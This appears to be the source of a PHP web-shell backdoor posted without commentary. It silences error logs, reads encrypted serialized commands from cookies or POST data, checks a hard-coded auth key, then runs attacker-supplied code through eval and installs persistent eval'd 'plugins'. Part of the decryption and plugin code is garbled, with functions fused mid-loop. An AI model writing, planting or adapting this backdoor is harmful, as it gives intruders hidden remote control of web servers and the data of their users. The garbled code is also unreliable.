Code:
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);

if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
    define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);

    $data = NULL;
    $data_key = NULL;

    $GLOBALS['cs_auth'] = 'fdff9ef7-87a0-435b-8b0f-34128cdd68cb';
    global $cs_auth;

    if (!function_exists('file_put_contents'))
    {
        function file_put_contents($n, $d, $flag = False)
        {
            $mode = $flag == 8 ? 'a' : 'w';
            $f = @fopen($n, $mode);
            if ($f === False)
            {
                return 0;
            }
            else
            {
                if (is_array($d)) $d = implode($d);
                $bytes_written = fwrite($f, $d);
                fclose($f);
                return $bytes_written;
            }
        }
    }

    if (!function_exists('file_get_contents'))
    {
        function file_get_contents($filename)
        {
            $fhandle = fopen($filename, "r");
            $fcontents = fread($fhandle, filesize($filename));
            fclose($fhandle);

            return $fcontents;
        }
    }
    function cs_get_current_filepath()
    {
        return trim(preg_replace("/\(.*\$/", '', __FILE__));
    }

    function cs_decrypt_phase($data, $key)
    {
        $out_data = "";

        for ($i=0; $i$pcontent)
        {
            if ($name)
            {
                if (strcmp($name, $pname) == 0)
                {
                    eval($pcontent);
                    break;
                }
            }
            else
            {
                eval($pcontent);
            }
        }
    }

    foreach ($_COOKIE as $key=>$value)
    {
        $data = $value;
        $data_key = $key;
    }

    if (!$data)
    {
        foreach ($_POST as $key=>$value)
        {
            $data = $value;
            $data_key = $key;
        }
    }

    $data = @unserialize(cs_decrypt(base64_decode($data), $data_key));

    if (isset($data['ak']) && $cs_auth==$data['ak'])
    {
        if ($data['a'] == 'i')
        {
            $i = Array(
                'pv' => @phpversion(),
                'sv' => '2.0-1',
                'ak' => $data['ak'],
            );
            echo @serialize($i);
            exit;
        }
        elseif ($data['a'] == 'e')
        {
            eval($data['d']);
        }
        elseif ($data['a'] == 'plugin')
        {
            if($data['sa'] == 'add')
            {
                cs_plugin_add($data['p'], $data['d']);
            }
            elseif($data['sa'] == 'rem')
            {
                cs_plugin_rem($data['p']);
            }
        }
        echo $data['ak'];
        
    }

    cs_plugin_load();
}